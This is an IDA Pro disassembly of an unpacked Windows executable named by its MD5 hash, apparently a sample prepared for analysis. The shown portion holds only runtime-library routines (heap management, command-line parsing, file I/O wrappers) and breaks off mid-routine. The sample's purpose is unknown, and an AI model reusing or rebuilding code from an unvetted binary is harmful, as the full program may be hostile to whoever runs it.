; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6E704F13E983D9E85AD2EA68D85477FB ; File Name : u:\work\6e704f13e983d9e85ad2ea68d85477fb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007130 ( 28976.) ; Section size in file : 00007130 ( 28976.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_401000 dd offset dword_401004 ; DATA XREF: CODE:00403A2Eo ; CODE:00404385o ... dword_401004 dd 7453060Ah, 676E6972hoff_40100C dd offset dword_401058 ; DATA XREF: CODE:00403A00o dd 7 dup(0) dd offset dword_401058 dd 4, 0 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_401058 dd 624F5407h, 7463656Ah ; CODE:0040102Co ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401060 proc near ; CODE XREF: sub_403450+9p jmp ds:dword_40B168 sub_401060 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401068 proc near ; CODE XREF: sub_4011B0+Dp jmp ds:dword_40B164 sub_401068 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401070 proc near ; CODE XREF: sub_4011E8+11p jmp ds:dword_40B160 sub_401070 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401078 proc near ; CODE XREF: sub_4011C4+13p jmp ds:dword_40B15C sub_401078 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401080 proc near ; CODE XREF: sub_4024E0+7Cp jmp ds:dword_40B158 sub_401080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401088 proc near ; CODE XREF: sub_40148C+24p ; sub_402EBC+1Ep ... jmp ds:dword_40B154 sub_401088 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401090 proc near ; CODE XREF: sub_402F40+1Dp ; sub_403524+Cp jmp ds:dword_40B150 sub_401090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401098 proc near ; CODE XREF: sub_403480+3p jmp ds:dword_40B14C sub_401098 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4034D8+25p ; sub_4034D8+36p jmp ds:dword_40B148 sub_4010A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A8 proc near ; CODE XREF: sub_403494+3Dp jmp ds:dword_40B144 sub_4010A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B0 proc near ; CODE XREF: sub_40148C:loc_4014C2p jmp ds:dword_40B140 sub_4010B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B8 proc near ; CODE XREF: sub_4015A4+4p ; CODE:00401760p jmp ds:dword_40B13C sub_4010B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C0 proc near ; CODE XREF: CODE:0040165Cp ; sub_4019C8+9Bp jmp ds:dword_40B138 sub_4010C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: CODE:00401745p jmp ds:dword_40B134 sub_4010C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D0 proc near ; CODE XREF: sub_4014EC+Ap jmp ds:dword_40B130 sub_4010D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D8 proc near ; CODE XREF: CODE:00401680p jmp ds:dword_40B12C sub_4010D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E0 proc near ; CODE XREF: CODE:loc_40172Fp ; sub_4019C8:loc_401A83p jmp ds:dword_40B128 sub_4010E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E8 proc near ; CODE XREF: sub_4020F0+14p ; sub_40210C+16p ... jmp ds:dword_40B124 sub_4010E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F0 proc near ; CODE XREF: sub_401528+1Ep ; CODE:004016BDp jmp ds:dword_40B120 sub_4010F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F8 proc near ; CODE XREF: sub_4021A4+D2p ; DATA XREF: sub_402428+Ao ... jmp ds:dword_40B11C sub_4010F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401100 proc near ; CODE XREF: CODE:004016F4p jmp ds:dword_40B118 sub_401100 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401108 proc near ; CODE XREF: CODE:0040169Cp ; CODE:004016E6p jmp ds:dword_40B114 sub_401108 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401110 proc near ; CODE XREF: sub_4021A4+6Ap ; sub_4021A4+A7p jmp ds:dword_40B110 sub_401110 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_401568+1Fp jmp ds:dword_40B10C sub_401118 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401120 proc near ; CODE XREF: sub_4013A0+Bp ; sub_4013A0+37p ... jmp ds:dword_40B174 sub_401120 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401128 proc near ; CODE XREF: sub_4024E0+B2p jmp ds:dword_40B108 sub_401128 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401130 proc near ; CODE XREF: sub_402F40+117p jmp ds:dword_40B104 sub_401130 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401138 proc near ; CODE XREF: sub_402F40+10Ap jmp ds:dword_40B100 sub_401138 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_401314p ; sub_401528+27p ... jmp ds:dword_40B0FC sub_401140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401148 proc near ; CODE XREF: sub_4030F8+12Fp jmp ds:dword_40B0F8 sub_401148 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401150 proc near ; CODE XREF: sub_402F40+2Ep jmp ds:dword_40B0F4 sub_401150 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401158 proc near ; CODE XREF: sub_4030F8+129p jmp ds:dword_40B0F0 sub_401158 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401160 proc near ; CODE XREF: sub_4030F8+1B1p ; sub_4030F8+1E9p ... jmp ds:dword_40B0EC sub_401160 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401168 proc near ; CODE XREF: sub_4033B0+31p jmp ds:dword_40B170 sub_401168 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401170 proc near ; CODE XREF: sub_402F40+5Ep ; sub_402F40+C2p ... jmp ds:dword_40B0E8 sub_401170 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401178 proc near ; CODE XREF: sub_402F40+123p ; sub_402F40+163p ... jmp ds:dword_40B0E4 sub_401178 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401180 proc near ; CODE XREF: sub_4030F8+FFp jmp ds:dword_40B184 sub_401180 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401188 proc near ; CODE XREF: sub_4030F8+3Ap ; sub_4030F8+58p ... jmp ds:dword_40B180 sub_401188 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401190 proc near ; CODE XREF: sub_4030F8+BFp ; sub_4030F8+DDp jmp ds:dword_40B17C sub_401190 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401198 proc near ; CODE XREF: sub_4026E4+12p jmp ds:dword_40B0E0 sub_401198 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A0 proc near ; CODE XREF: sub_402C24+Ep jmp ds:dword_40B18C sub_4011A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A8 proc near ; CODE XREF: sub_403450+22p jmp ds:dword_40B0DC sub_4011A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011B0 proc near ; CODE XREF: sub_401200+4p ; sub_401230+3Fp ; DATA XREF: ... push eax mov eax, ds:dword_409044 push eax mov eax, ds:dword_40A5A8 push eax call sub_401068 ; RtlAllocateHeap retn sub_4011B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4011C4 proc near ; CODE XREF: sub_401218+4p ; sub_401230+26p ; DATA XREF: ... push ebx mov ebx, eax push ebx mov eax, ds:dword_409044 and eax, 1 push eax mov eax, ds:dword_40A5A8 push eax call sub_401078 ; RtlFreeHeap cmp eax, 1 sbb eax, eax neg eax and eax, 7Fh pop ebx retn sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4011E8 proc near ; CODE XREF: sub_401230+Dp ; DATA XREF: DATA:off_409050o push edx push eax mov eax, ds:dword_409044 and eax, 0 push eax mov eax, ds:dword_40A5A8 push eax call sub_401070 ; RtlReAllocateHeap retn sub_4011E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401200 proc near ; CODE XREF: sub_401F08+Ap ; sub_402688+Cp test eax, eax jz short locret_40120E call ds:off_409048 or eax, eax jz short loc_40120F locret_40120E: ; CODE XREF: sub_401200+2j retn ; --------------------------------------------------------------------------- loc_40120F: ; CODE XREF: sub_401200+Cj mov al, 1 jmp loc_4012D8 sub_401200 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401218 proc near ; CODE XREF: sub_401F24+Cp ; sub_4025C8+1Bp ... test eax, eax jz short locret_401226 call ds:off_40904C or eax, eax jnz short loc_401227 locret_401226: ; CODE XREF: sub_401218+2j retn ; --------------------------------------------------------------------------- loc_401227: ; CODE XREF: sub_401218+Cj mov al, 2 jmp loc_4012D8 sub_401218 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401230 proc near ; CODE XREF: sub_402BC0+22p ; FUNCTION CHUNK AT 004012D8 SIZE 0000000B BYTES mov ecx, [eax] test ecx, ecx jz short loc_401268 test edx, edx jz short loc_401252 push eax mov eax, ecx call ds:off_409050 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_40124B: ; CODE XREF: sub_401230+2Ej mov al, 2 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401252: ; CODE XREF: sub_401230+8j mov [eax], edx mov eax, ecx call ds:off_40904C or eax, eax jnz short loc_40124B retn ; --------------------------------------------------------------------------- loc_401261: ; CODE XREF: sub_401230+16j ; sub_401230+48j mov al, 1 jmp loc_4012D8 ; --------------------------------------------------------------------------- loc_401268: ; CODE XREF: sub_401230+4j test edx, edx jz short locret_40127C push eax mov eax, edx call ds:off_409048 pop ecx or eax, eax jz short loc_401261 mov [ecx], eax locret_40127C: ; CODE XREF: sub_401230+3Aj retn sub_401230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401280 proc near ; CODE XREF: sub_40128C+42p mov ds:dword_409004, edx call sub_4025B0 sub_401280 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40128C proc near ; CODE XREF: sub_401230+AEj push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:off_40A008, 0 jz short loc_4012A8 mov edx, esi mov eax, ebx call ds:off_40A008 loc_4012A8: ; CODE XREF: sub_40128C+10j test bl, bl jnz short loc_4012B9 call sub_4034D8 mov ebx, [eax+4] jmp short loc_4012C8 ; --------------------------------------------------------------------------- loc_4012B9: ; CODE XREF: sub_40128C+1Ej cmp bl, 18h ja short loc_4012C8 xor eax, eax mov al, bl mov bl, ds:byte_409054[eax] loc_4012C8: ; CODE XREF: sub_40128C+2Bj ; sub_40128C+30j xor eax, eax mov al, bl mov edx, esi call sub_401280 sub_40128C endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_401230 loc_4012D8: ; CODE XREF: sub_401200+11j ; sub_401218+11j ... and eax, 7Fh mov edx, [esp+0] jmp sub_40128C ; END OF FUNCTION CHUNK FOR sub_401230 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4012E4 proc near ; CODE XREF: CODE:00405858p ; CODE:00407ECFp ... push eax push edx push ecx call sub_4034D8 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_4012F9 retn ; --------------------------------------------------------------------------- loc_4012F9: ; CODE XREF: sub_4012E4+12j xor eax, eax jmp loc_4012D8 sub_4012E4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401304 proc near ; CODE XREF: sub_401314+5p ; sub_4017E8+3Cp ... push ebx mov ebx, eax call sub_4034D8 mov [eax+4], ebx pop ebx retn sub_401304 endp ; =============== S U B R O U T I N E ======================================= sub_401314 proc near ; CODE XREF: sub_4019A0+17p call sub_401140 ; RtlGetLastWin32Error call sub_401304 retn sub_401314 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401320 proc near ; CODE XREF: sub_405AA0+7p ; CODE:00407ED4p push ebx call sub_4034D8 mov ebx, [eax+4] call sub_4034D8 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_401320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401340 proc near ; CODE XREF: sub_401780+4Fp ; sub_401948+14p ... cmp ecx, 4 jge short loc_401361 jcxz locret_40139F cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx ja short loc_40135D lea esi, [ecx+esi-1] lea edi, [ecx+edi-1] std loc_40135D: ; CODE XREF: sub_401340+12j rep movsb jmp short loc_40138D ; --------------------------------------------------------------------------- loc_401361: ; CODE XREF: sub_401340+3j cmp eax, edx jz short locret_40139F push esi push edi mov esi, eax mov edi, edx mov eax, ecx ja short loc_40138F and ecx, 3 lea esi, [eax+esi-1] lea edi, [eax+edi-1] std rep movsb sar eax, 2 mov ecx, eax mov eax, 3 sub esi, eax sub edi, eax rep movsd loc_40138D: ; CODE XREF: sub_401340+1Fj cld dec ecx loc_40138F: ; CODE XREF: sub_401340+2Dj sar ecx, 2 js short loc_40139D rep movsd and eax, 3 mov ecx, eax rep movsb loc_40139D: ; CODE XREF: sub_401340+52j pop edi pop esi locret_40139F: ; CODE XREF: sub_401340+5j ; sub_401340+Aj ... retn sub_401340 endp ; =============== S U B R O U T I N E ======================================= sub_4013A0 proc near ; CODE XREF: sub_40148C+41p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4013A0+1Aj push ebx call sub_401120 ; CharNextA mov ebx, eax loc_4013B2: ; CODE XREF: sub_4013A0+8j ; sub_4013A0+2Aj mov al, [ebx] test al, al jz short loc_4013BC cmp al, 20h jbe short loc_4013AA loc_4013BC: ; CODE XREF: sub_4013A0+16j cmp byte ptr [ebx], 22h jnz short loc_4013CC cmp byte ptr [ebx+1], 22h jnz short loc_4013CC add ebx, 2 jmp short loc_4013B2 ; --------------------------------------------------------------------------- loc_4013CC: ; CODE XREF: sub_4013A0+1Fj ; sub_4013A0+25j xor ebp, ebp mov edi, ebx jmp short loc_401415 ; --------------------------------------------------------------------------- loc_4013D2: ; CODE XREF: sub_4013A0+79j cmp al, 22h jnz short loc_401407 push ebx call sub_401120 ; CharNextA mov ebx, eax jmp short loc_4013EE ; --------------------------------------------------------------------------- loc_4013E0: ; CODE XREF: sub_4013A0+56j push ebx call sub_401120 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_4013EE: ; CODE XREF: sub_4013A0+3Ej mov al, [ebx] test al, al jz short loc_4013F8 cmp al, 22h jnz short loc_4013E0 loc_4013F8: ; CODE XREF: sub_4013A0+52j cmp byte ptr [ebx], 0 jz short loc_401415 push ebx call sub_401120 ; CharNextA mov ebx, eax jmp short loc_401415 ; --------------------------------------------------------------------------- loc_401407: ; CODE XREF: sub_4013A0+34j push ebx call sub_401120 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_401415: ; CODE XREF: sub_4013A0+30j ; sub_4013A0+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_4013D2 mov eax, esi mov edx, ebp call sub_402BC0 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_40147D ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: sub_4013A0+E1j cmp al, 22h jnz short loc_401468 push ebx call sub_401120 ; CharNextA mov ebx, eax jmp short loc_40144F ; --------------------------------------------------------------------------- loc_40143A: ; CODE XREF: sub_4013A0+B7j push ebx call sub_401120 ; CharNextA cmp eax, ebx jbe short loc_40144F loc_401444: ; CODE XREF: sub_4013A0+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401444 loc_40144F: ; CODE XREF: sub_4013A0+98j ; sub_4013A0+A2j mov al, [ebx] test al, al jz short loc_401459 cmp al, 22h jnz short loc_40143A loc_401459: ; CODE XREF: sub_4013A0+B3j cmp byte ptr [ebx], 0 jz short loc_40147D push ebx call sub_401120 ; CharNextA mov ebx, eax jmp short loc_40147D ; --------------------------------------------------------------------------- loc_401468: ; CODE XREF: sub_4013A0+8Ej push ebx call sub_401120 ; CharNextA cmp eax, ebx jbe short loc_40147D loc_401472: ; CODE XREF: sub_4013A0+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_401472 loc_40147D: ; CODE XREF: sub_4013A0+8Aj ; sub_4013A0+BCj ... mov al, [ebx] cmp al, 20h ja short loc_40142C mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_4013A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40148C proc near ; CODE XREF: CODE:00407F68p var_114 = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_4025C8 test esi, esi jnz short loc_4014C2 push 105h lea eax, [esp+118h+var_114] push eax push 0 call sub_401088 ; GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_4026B4 jmp short loc_4014E0 ; --------------------------------------------------------------------------- loc_4014C2: ; CODE XREF: sub_40148C+16j call sub_4010B0 ; GetCommandLineA mov edi, eax loc_4014C9: ; CODE XREF: sub_40148C+52j mov edx, ebx mov eax, edi call sub_4013A0 mov edi, eax test esi, esi jz short loc_4014E0 cmp dword ptr [ebx], 0 jz short loc_4014E0 dec esi jmp short loc_4014C9 ; --------------------------------------------------------------------------- loc_4014E0: ; CODE XREF: sub_40148C+34j ; sub_40148C+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_40148C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014EC proc near ; CODE XREF: CODE:loc_407E76p var_18 = byte ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah push ebp mov ebp, esp add esp, 0FFFFFFE8h lea eax, [ebp+var_18] push eax call sub_4010D0 ; GetSystemTime movzx eax, [ebp+var_10] imul eax, 3Ch add ax, [ebp+var_E] imul eax, 3Ch xor edx, edx mov dx, [ebp+var_C] add eax, edx imul eax, 3E8h mov dx, [ebp+var_A] add eax, edx mov ds:dword_409008, eax mov esp, ebp pop ebp retn sub_4014EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401528 proc near ; DATA XREF: CODE:00401604o push ebx mov ebx, eax xor eax, eax mov [ebx+10h], eax xor eax, eax mov [ebx+0Ch], eax push 0 lea eax, [ebx+10h] push eax mov eax, [ebx+8] push eax mov eax, [ebx+14h] push eax mov eax, [ebx] push eax call sub_4010F0 ; ReadFile test eax, eax jnz short loc_40155D call sub_401140 ; RtlGetLastWin32Error cmp eax, 6Dh jnz short loc_40155F xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40155D: ; CODE XREF: sub_401528+25j xor eax, eax loc_40155F: ; CODE XREF: sub_401528+2Fj pop ebx retn sub_401528 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401564 proc near ; DATA XREF: CODE:0040163Bo ; CODE:0040170Bo ... xor eax, eax retn sub_401564 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401568 proc near ; DATA XREF: CODE:loc_40162Do ; CODE:00401753o var_C = byte ptr -0Ch push ebx push esi push ecx mov ebx, eax mov esi, [ebx+0Ch] test esi, esi jnz short loc_401578 xor eax, eax jmp short loc_40159E ; --------------------------------------------------------------------------- loc_401578: ; CODE XREF: sub_401568+Aj push 0 lea eax, [esp+10h+var_C] push eax push esi mov eax, [ebx+14h] push eax mov eax, [ebx] push eax call sub_401118 ; WriteFile test eax, eax jnz short loc_401597 call sub_401140 ; RtlGetLastWin32Error jmp short loc_401599 ; --------------------------------------------------------------------------- loc_401597: ; CODE XREF: sub_401568+26j xor eax, eax loc_401599: ; CODE XREF: sub_401568+2Dj xor edx, edx mov [ebx+0Ch], edx loc_40159E: ; CODE XREF: sub_401568+Ej pop edx pop esi pop ebx retn sub_401568 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015A4 proc near ; CODE XREF: sub_4015B4+Bp ; sub_4019A0+Ep push ebx mov ebx, eax push ebx call sub_4010B8 ; CloseHandle dec eax setz al pop ebx retn sub_4015A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015B4 proc near ; DATA XREF: CODE:loc_401634o push ebx mov ebx, eax mov word ptr [ebx+4], 0D7B0h mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4015CF call sub_401140 ; RtlGetLastWin32Error pop ebx retn ; --------------------------------------------------------------------------- loc_4015CF: ; CODE XREF: sub_4015B4+12j xor eax, eax pop ebx retn sub_4015B4 endp ; --------------------------------------------------------------------------- align 4 loc_4015D4: ; DATA XREF: sub_401780+35o push esi mov esi, eax xor eax, eax mov [esi+0Ch], eax mov [esi+10h], eax mov ax, [esi+4] sub eax, 0D7B1h jz short loc_4015F5 dec eax jz short loc_40160D dec eax jz short loc_40161E jmp loc_40175C ; --------------------------------------------------------------------------- loc_4015F5: ; CODE XREF: CODE:004015E8j mov eax, 80000000h mov edx, 1 mov ecx, 3 mov dword ptr [esi+1Ch], offset sub_401528 jmp short loc_401634 ; --------------------------------------------------------------------------- loc_40160D: ; CODE XREF: CODE:004015EBj mov eax, 40000000h mov edx, 1 mov ecx, 2 jmp short loc_40162D ; --------------------------------------------------------------------------- loc_40161E: ; CODE XREF: CODE:004015EEj mov eax, 0C0000000h mov edx, 1 mov ecx, 3 loc_40162D: ; CODE XREF: CODE:0040161Cj mov dword ptr [esi+1Ch], offset sub_401568 loc_401634: ; CODE XREF: CODE:0040160Bj mov dword ptr [esi+24h], offset sub_4015B4 mov dword ptr [esi+20h], offset sub_401564 cmp byte ptr [esi+48h], 0 jz loc_4016FE push 0 push 80h push ecx push 0 push edx push eax lea eax, [esi+48h] push eax call sub_4010C0 ; CreateFileA cmp eax, 0FFFFFFFFh jz loc_401772 mov [esi], eax cmp word ptr [esi+4], 0D7B3h jnz loc_40173B dec word ptr [esi+4] push 0 push dword ptr [esi] call sub_4010D8 ; GetFileSize inc eax jz loc_401772 sub eax, 81h jnb short loc_401695 xor eax, eax loc_401695: ; CODE XREF: CODE:00401691j push 0 push 0 push eax push dword ptr [esi] call sub_401108 ; SetFilePointer inc eax jz loc_401772 push 0 mov edx, esp push 0 push edx push 80h lea edx, [esi+14Ch] push edx push dword ptr [esi] call sub_4010F0 ; ReadFile pop edx dec eax jnz loc_401772 xor eax, eax loc_4016CC: ; CODE XREF: CODE:004016DBj cmp eax, edx jnb short loc_40173B cmp byte ptr [esi+eax+14Ch], 0Eh jz short loc_4016DD inc eax jmp short loc_4016CC ; --------------------------------------------------------------------------- loc_4016DD: ; CODE XREF: CODE:004016D8j push 2 push 0 sub eax, edx push eax push dword ptr [esi] call sub_401108 ; SetFilePointer inc eax jz loc_401772 push dword ptr [esi] call sub_401100 ; SetEndOfFile dec eax jnz short loc_401772 jmp short loc_40173B ; --------------------------------------------------------------------------- loc_4016FE: ; CODE XREF: CODE:00401646j lea eax, [esi+14Ch] mov dword ptr [esi+8], 80h mov dword ptr [esi+24h], offset sub_401564 mov [esi+14h], eax cmp word ptr [esi+4], 0D7B2h jz short loc_401721 push 0FFFFFFF6h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_401721: ; CODE XREF: CODE:0040171Bj cmp esi, offset dword_40A3D8 jnz short loc_40172D push 0FFFFFFF4h jmp short loc_40172F ; --------------------------------------------------------------------------- loc_40172D: ; CODE XREF: CODE:00401727j push 0FFFFFFF5h loc_40172F: ; CODE XREF: CODE:0040171Fj ; CODE:0040172Bj call sub_4010E0 ; GetStdHandle cmp eax, 0FFFFFFFFh jz short loc_401772 mov [esi], eax loc_40173B: ; CODE XREF: CODE:00401672j ; CODE:004016CEj ... cmp word ptr [esi+4], 0D7B1h jz short loc_40175A push dword ptr [esi] call sub_4010C8 ; GetFileType test eax, eax jz short loc_40175E cmp eax, 2 jnz short loc_40175A mov dword ptr [esi+20h], offset sub_401568 loc_40175A: ; CODE XREF: CODE:00401741j ; CODE:00401751j xor eax, eax loc_40175C: ; CODE XREF: CODE:004015F0j ; CODE:00401770j ... pop esi retn ; --------------------------------------------------------------------------- loc_40175E: ; CODE XREF: CODE:0040174Cj push dword ptr [esi] call sub_4010B8 ; CloseHandle mov word ptr [esi+4], 0D7B0h mov eax, 69h jmp short loc_40175C ; --------------------------------------------------------------------------- loc_401772: ; CODE XREF: CODE:00401664j ; CODE:00401686j ... mov word ptr [esi+4], 0D7B0h call sub_401140 ; RtlGetLastWin32Error jmp short loc_40175C ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_401780 proc near ; CODE XREF: CODE:00407EBBp push ebx push esi mov esi, edx mov ebx, eax mov eax, ebx xor ecx, ecx mov edx, 14Ch call sub_401964 lea eax, [ebx+14Ch] mov [ebx+14h], eax mov word ptr [ebx+4], 0D7B0h xor eax, eax mov al, ds:byte_40901C mov [ebx+6], ax mov dword ptr [ebx+8], 80h mov dword ptr [ebx+18h], offset loc_4015D4 mov eax, esi call sub_402840 push eax mov eax, esi call sub_402A38 lea edx, [ebx+48h] pop ecx call sub_401340 mov eax, esi call sub_402840 mov byte ptr [ebx+eax+48h], 0 xor eax, eax pop esi pop ebx retn sub_401780 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4017E8 proc near ; CODE XREF: sub_401830+3p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short 